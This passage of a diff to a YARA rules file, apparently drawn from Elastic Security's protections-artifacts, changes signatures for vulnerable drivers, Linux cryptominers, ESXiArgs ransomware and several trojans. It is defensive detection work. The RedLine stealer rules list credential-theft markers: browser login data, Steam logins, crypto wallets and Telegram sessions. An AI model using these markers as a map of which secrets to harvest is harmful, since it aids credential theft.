+		$guid = "8BF82BBE-909C-4777-A2FC-EA7C070FF43E" ascii wide nocase
+		$print_str0 = "[X]  Failed to connecto to WMI: {0}" ascii wide fullword
+		$print_str1 = "[+] Executing DCOM ShellBrowserWindow   : {0}" ascii wide fullword
+		$print_str2 = "[+]  User credentials  : {0}" ascii wide fullword
+		$print_str3 = "[+] Executing DCOM ExcelDDE   : {0}" ascii wide fullword
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		$guid or all of ($print_str*)
 }
-rule ELASTIC_Windows_Vulndriver_Biostar_684A5123 : FILE
+rule ELASTIC_Linux_Cryptominer_Miancha_646803Ef : FILE MEMORY
 {
 	meta:
-		description = "Name: BS_RCIO64.sys, Version: 10.0.0.1"
+		description = "Detects Linux Cryptominer Miancha (Linux.Cryptominer.Miancha)"
 		author = "Elastic Security"
-		id = "684a5123-cd84-4133-9530-30bfefd5ad1b"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "646803ef-e8a5-46e2-94a5-dcc6cb41cead"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Biostar.yar#L45-L65"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d205286bffdf09bc033c09e95c519c1c267b40c2ee8bab703c6a2d86741ccd3e"
-		logic_hash = "7c0c7e14f9b5085a87e5dbe27feb8e49bdb4d2fdcfbcbc643999d7969d118240"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Miancha.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4c7761c9376ed065887dc6ce852491641419eb2d1f393c37ed0a5cb29bd108d4"
+		logic_hash = "8fd386c0e7037565e8ab206642cc8c11f05ca727b365b94ffdd991f4bed95556"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "c92b058bbc8a708431bdbe8fc2e793c0a424aa79b25892c83153ffd32e1a89d3"
-		threat_name = "Windows.VulnDriver.Biostar"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "b22f87b60c19855c3ac622bc557655915441f5e12c7d7c27c51c05e12c743ee5"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 42 00 53 00 5F 00 52 00 43 00 49 00 4F 00 36 00 34 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x0a][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x09][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+		$a = { 6F DC 66 0F 73 FB 04 66 0F EF C1 66 0F 6F D3 66 0F EF C7 66 0F 6F }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Biostar_E0B6Cf55 : FILE
+rule ELASTIC_Windows_Vulndriver_Asio_5F9F29Be : FILE
 {
 	meta:
-		description = "Detects Windows Vulndriver Biostar (Windows.VulnDriver.Biostar)"
+		description = "Detects Windows Vulndriver Asio (Windows.VulnDriver.AsIo)"
 		author = "Elastic Security"
-		id = "e0b6cf55-c97d-4799-88a6-30ab0e880b0b"
+		id = "5f9f29be-9dbb-4d0f-84f5-7027c1413c2c"
 		date = "2022-04-04"
 		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Biostar.yar#L67-L85"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "73327429c505d8c5fd690a8ec019ed4fd5a726b607cabe71509111c7bfe9fc7e"
-		logic_hash = "dccbf6fa46de1a8bc6438578b651055e2d02d15bd04461be74059e6fde40fca3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_AsIo.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "52a90fd1546c068b92add52c29fbb8a87d472a57e609146bbcb34862f9dcec15"
+		logic_hash = "a901d81737c7e6d00e87f0eec758dd063eade59d9883e85e04a33bb18f2f99de"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		fingerprint = "c38c456a008b847c42c45f824b125e7308b8aa41771d3db3d540690b13147abc"
+		fingerprint = "82967badefb37a3964de583cb65f423afe46abc299d361c7a9cd407b146fd897"
 		severity = 50
 		arch_context = "x86"
 		scan_context = "file"
@@ -72059,28 +76493,28 @@ rule ELASTIC_Windows_Vulndriver_Biostar_E0B6Cf55 : FILE
 		os = "windows"
 
 	strings:
-		$str1 = "\\BS_RCIO.pdb"
+		$str1 = "\\AsIO.pdb"
 
 	condition:
 		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Linux_Trojan_Sfloost_69A5343A : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Esxiargs_75A8Ec04 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Sfloost (Linux.Trojan.Sfloost)"
+		description = "Detects Linux Ransomware Esxiargs (Linux.Ransomware.Esxiargs)"
 		author = "Elastic Security"
-		id = "69a5343a-4885-4d88-9eaf-ddfcc95e1f39"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "75a8ec04-c41d-4702-94fa-976870762aaf"
+		date = "2023-02-09"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Sfloost.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c0cd73db5165671c7bbd9493c34d693d25b845a9a21706081e1bf44bf0312ef9"
-		logic_hash = "bd3cd33d02c7ca1d3a0364e5e3e2f968f32da8f087f744232f3cb786da6c7875"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_Esxiargs.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66"
+		logic_hash = "7316cab75c1bcf41ae6c96afa41ef96c37ab1bb679f36a0cc1dd08002a357165"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c19368bf04e4b67537a8573b5beba56bab8bcfdf870640ef5bd46d40735ee539"
+		fingerprint = "279259c7ca41331b09842c2221139d249d6dfe2e2cb6b27eb50af7be75120ce4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -72088,145 +76522,118 @@ rule ELASTIC_Linux_Trojan_Sfloost_69A5343A : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 0F 83 C8 50 88 43 0C 0F B6 45 F0 66 C7 43 10 00 00 66 C7 43 12 }
-
-	condition:
-		all of them
-}
-rule ELASTIC_Macos_Trojan_Amcleaner_445Bb666 : FILE MEMORY
-{
-	meta:
-		description = "Detects Macos Trojan Amcleaner (MacOS.Trojan.Amcleaner)"
-		author = "Elastic Security"
-		id = "445bb666-1707-4ad9-a409-4a21de352957"
-		date = "2021-10-05"
-		modified = "2021-10-25"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Amcleaner.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c85bf71310882bc0c0cf9b74c9931fd19edad97600bc86ca51cf94ed85a78052"
-		logic_hash = "664829ff761186ec8f3055531b5490b7516756b0aa9d0183d4c17240a5ca44c4"
-		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "355c7298a4148be3b80fd841b483421bde28085c21c00d5e4a42949fd8026f5b"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "macos"
-
-	strings:
-		$a = { 10 A0 5B 15 57 A8 8B 17 02 F9 A8 9B E8 D5 8C 96 A7 48 42 91 E5 EC 3D C8 AC 52 }
+		$s1 = "number of MB in encryption block"
+		$s2 = "number of MB to skip while encryption"
+		$s3 = "get_pk_data: key file is empty"
+		$s4 = { 6F 70 65 6E 00 6C 73 65 65 6B 20 5B 65 6E 64 5D 00 6F 70 65 6E 5F 70 6B 5F 66 69 6C 65 }
+		$s5 = "[<enc_step>] [<enc_size>] [<file_size>]"
 
 	condition:
-		all of them
+		3 of them
 }
-rule ELASTIC_Macos_Trojan_Amcleaner_A91D3907 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrig_57C0C6D7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Amcleaner (MacOS.Trojan.Amcleaner)"
+		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
 		author = "Elastic Security"
-		id = "a91d3907-5e24-46c0-90ef-ed7f46ad8792"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "57c0c6d7-ded1-4a3e-9877-4003ab46d4a6"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Amcleaner.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dc9c700f3f6a03ecb6e3f2801d4269599c32abce7bc5e6a1b7e6a64b0e025f58"
-		logic_hash = "e61ceea117acf444a6b137b93d7c335c6eb8a7e13a567177ec4ea44bf64fd5c6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrig.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "100dc1ede4c0832a729d77725784d9deb358b3a768dfaf7ff9e96535f5b5a361"
+		logic_hash = "d3a272d488cebe4f774c994001a14d825372a27f16267bc0339b7e3b22ada8db"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c020567fde77a72d27c9c06f6ebb103f910321cc7a1c3b227e0965b079085b49"
+		fingerprint = "b36ef33a052cdbda0db0048fc9da4ae4b4208c0fa944bc9322f029d4dfef35b8"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a = { 40 22 4E 53 49 6D 61 67 65 56 69 65 77 22 2C 56 69 6E 6E 76 63 6A 76 64 69 5A }
+		$a = { 78 01 66 0F EF C9 49 89 38 0F BE 00 83 E8 30 F2 0F 2A C8 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Trojan_Amcleaner_8Ce3Fea8 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrig_7E42Bf80 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Amcleaner (MacOS.Trojan.Amcleaner)"
+		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
 		author = "Elastic Security"
-		id = "8ce3fea8-3cc7-4c59-b07c-a6dda0bb6b85"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "7e42bf80-60a4-4d45-bf07-b96a188c6e6b"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Amcleaner.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c85bf71310882bc0c0cf9b74c9931fd19edad97600bc86ca51cf94ed85a78052"
-		logic_hash = "08c4b5b4afefbf1ee207525f9b28bc7eed7b55cb07f8576fddfa0bbe95002769"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrig.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "551b6e6617fa3f438ec1b3bd558b3cbc981141904cab261c0ac082a697e5b07d"
+		logic_hash = "ad8c8f0081d07f7e2a5400de6af2c6b311f77ff336d7576f7fb0bfe2593a9062"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e156d3c7a55cae84481df644569d1c5760e016ddcc7fd05d0f88fa8f9f9ffdae"
+		fingerprint = "cf3b74ae6ff38b0131763fbcf65fa21fb6fd4462d2571b298c77a43184ac5415"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a = { 54 40 22 4E 53 54 61 62 6C 65 56 69 65 77 22 2C 56 69 6E 6E 76 63 6B 54 70 51 }
+		$a = { 0F 70 F8 FF 66 0F 73 FD 04 66 44 0F EF ED 66 41 0F 73 FE 04 66 41 0F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Toshibabios_2891972A : FILE
+rule ELASTIC_Linux_Cryptominer_Xmrig_271121Fb : FILE MEMORY
 {
 	meta:
-		description = "Name: NCHGBIOS2x64.SYS, Version: 4.2.4.0"
+		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
 		author = "Elastic Security"
-		id = "2891972a-901d-47d3-ae73-39b7c601dd19"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "271121fb-47cf-47a7-9e90-8565d4694c9e"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_ToshibaBios.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "314384b40626800b1cde6fbc51ebc7d13e91398be2688c2a58354aa08d00b073"
-		logic_hash = "c253181a754f421ee36ced994412672770497756848d78d557907957486e711b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrig.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "19aeafb63430b5ac98e93dfd6469c20b9c1145e6b5b86202553bd7bd9e118842"
+		logic_hash = "f43b1527ad4bbd07023126def89c1af47698cc832f71f4a1381ed0d621d79ed5"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "154a771873bef03d1cc63cb2e270a62d42bbd2aa9027a59bc027b3ff88641192"
-		threat_name = "Windows.VulnDriver.ToshibaBios"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "e0968731b0e006f3db92762822e4a3509d800e8f270b1c38303814fd672377a2"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 4E 00 43 00 48 00 47 00 42 00 49 00 4F 00 53 00 32 00 78 00 36 00 34 00 2E 00 53 00 59 00 53 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x02][\x00-\x00])([\x00-\x04][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x04][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x01][\x00-\x00])([\x00-\x04][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x02][\x00-\x00])([\x00-\x04][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x03][\x00-\x00]))/
+		$a = { 18 41 C1 E4 10 C1 E1 08 41 C1 EA 10 44 89 CB 41 C1 E9 18 C1 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Godlua_Ed8E6228 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrig_E7E64Fb7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Godlua (Linux.Trojan.Godlua)"
+		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
 		author = "Elastic Security"
-		id = "ed8e6228-d5be-4b8e-8dc2-7072b1236bfa"
+		id = "e7e64fb7-e07c-4184-86bd-db491a2a11e0"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Godlua.yar#L1-L18"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "848ef3b198737f080f19c5fa55dfbc31356427398074f9125c65cb532c52ce7a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrig.yar#L61-L78"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "e325ac02c51526c5a36bdd6c2bcb3bee51f1214d78eff8048c8a1ae88334a9e8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9b73c2bbbe1bc43ae692f03b19cd23ad701f0120dff0201dd2a6722c44ea51ed"
+		fingerprint = "444240375f4b9c6948907c7e338764ac8221e5fcbbc2684bbd0a1102fef45e06"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -72234,287 +76641,258 @@ rule ELASTIC_Linux_Trojan_Godlua_Ed8E6228 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { C0 18 48 89 45 E8 EB 60 48 8B 85 58 FF FF FF 48 83 C0 20 48 89 }
+		$a = { 03 48 89 74 24 48 77 05 48 8B 5C C4 30 4C 8B 0A 48 8B 0F 48 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Redlinestealer_17Ee6A17 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrig_79B42B21 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Redlinestealer (Windows.Trojan.RedLineStealer)"
+		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
 		author = "Elastic Security"
-		id = "17ee6a17-161e-454a-baf1-2734995c82cd"
-		date = "2021-06-12"
-		modified = "2021-08-23"
+		id = "79b42b21-1408-4837-8f1f-6de30d7f5777"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_RedLineStealer.yar#L1-L27"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "497bc53c1c75003fe4ae3199b0ff656c085f21dffa71d00d7a3a33abce1a3382"
-		logic_hash = "0c868d0673c01e2c115d6822c34c877db77265251167f3a890a448a1de5c6a2d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrig.yar#L80-L97"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "db42871193960ea4c2cbe5f5040cbc1097d57d9e4dc291bcc77ed72b588311ab"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a1f75937e83f72f61e027a1045374d3bd17cd387b223a6909b9aed52d2bc2580"
+		fingerprint = "4cd0481edd1263accdac3ff941df4e31ef748bded0fba5fe55a9cffa8a37b372"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "RedLine.Logic.SQLite" ascii fullword
-		$a2 = "RedLine.Reburn.Data.Browsers.Gecko" ascii fullword
-		$a3 = "RedLine.Client.Models.Gecko" ascii fullword
-		$b1 = "SELECT * FROM Win32_Process Where SessionId='{0}'" wide fullword
-		$b2 = "get_encryptedUsername" ascii fullword
-		$b3 = "https://icanhazip.com" wide fullword
-		$b4 = "GetPrivate3Key" ascii fullword
-		$b5 = "get_GrabTelegram" ascii fullword
-		$b6 = "<GrabUserAgent>k__BackingField" ascii fullword
+		$a = { FC 00 79 0A 8B 45 B8 83 E0 04 85 C0 75 38 8B 45 EC 83 C0 01 }
 
 	condition:
-		1 of ($a*) or all of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Redlinestealer_F54632Eb : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrig_77Fbc695 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Redlinestealer (Windows.Trojan.RedLineStealer)"
+		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
 		author = "Elastic Security"
-		id = "f54632eb-2c66-4aff-802d-ad1c076e5a5e"
-		date = "2021-06-12"
-		modified = "2021-08-23"
+		id = "77fbc695-6fe3-4e30-bb2f-f64379ec4efd"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_RedLineStealer.yar#L29-L56"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25"
-		logic_hash = "1779919556ee5c9a78342aabafb8408e035cb39632b25c54da6bf195894901dc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrig.yar#L99-L117"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e723a2b976adddb01abb1101f2d3407b783067bec042a135b21b14d63bc18a68"
+		logic_hash = "af8e09cd5d6b7532af0c06273aa465cf6c40ad6c919a679fd09191a1c2a302f5"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0"
+		fingerprint = "e0c6cb7a05c622aa40dfe2167099c496b714a3db4e9b92001bbe6928c3774c85"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "ttp://checkip.amazonaws.com/logins.json" wide fullword
-		$a2 = "https://ipinfo.io/ip%appdata%\\" wide fullword
-		$a3 = "Software\\Valve\\SteamLogin Data" wide fullword
-		$a4 = "get_ScannedWallets" ascii fullword
-		$a5 = "get_ScanTelegram" ascii fullword
-		$a6 = "get_ScanGeckoBrowsersPaths" ascii fullword
-		$a7 = "<Processes>k__BackingField" ascii fullword
-		$a8 = "<GetWindowsVersion>g__HKLM_GetString|11_0" ascii fullword
-		$a9 = "<ScanFTP>k__BackingField" ascii fullword
-		$a10 = "DataManager.Data.Credentials" ascii fullword
+		$a = { F2 0F 58 44 24 08 F2 0F 11 44 24 08 8B 7B 08 41 8D 76 01 49 83 }
 
 	condition:
-		6 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Redlinestealer_3D9371Fd : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrig_403B0A12 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Redlinestealer (Windows.Trojan.RedLineStealer)"
+		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
 		author = "Elastic Security"
-		id = "3d9371fd-c094-40fc-baf8-f0e9e9a54ff9"
-		date = "2022-02-17"
-		modified = "2022-04-12"
+		id = "403b0a12-8475-4e28-960b-ef33eabf0fcf"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_RedLineStealer.yar#L58-L82"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a"
-		logic_hash = "1c8a64ce7615f502602ab960638dd55f4deaeea3b49d894274d64d4d0b6a1d10"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xmrig.yar#L119-L137"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "54d806b3060404ccde80d9f3153eebe8fdda49b6e8cdba197df0659c6724a52d"
+		logic_hash = "5b7662124eb980b11f88a50665292e7a405595f7ad85c5c448dd087ea096689a"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23"
+		fingerprint = "785ac520b9f2fd9c6b49d8a485118eee7707f0fa0400b3db99eb7dfb1e14e350"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "get_encrypted_key" ascii fullword
-		$a2 = "get_PassedPaths" ascii fullword
-		$a3 = "ChromeGetLocalName" ascii fullword
-		$a4 = "GetBrowsers" ascii fullword
-		$a5 = "Software\\Valve\\SteamLogin Data" wide fullword
-		$a6 = "%appdata%\\" wide fullword
-		$a7 = "ScanPasswords" ascii fullword
+		$a = { 00 28 03 1C C3 0C 00 C0 00 60 83 1C A7 71 00 00 00 68 83 5C D7 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Redlinestealer_63E7E006 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Xmrig_Bffa106B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Redlinestealer (Windows.Trojan.RedLineStealer)"
+		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
 		author = "Elastic Security"
-		id = "63e7e006-6c0c-47d8-8090-a6b36f01f3a3"
-		date = "2023-05-01"
-		modified = "2023-06-13"
+		id = "bffa106b-0a9a-4433-b9ac-ae41a020e7e0"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_RedLineStealer.yar#L84-L104"
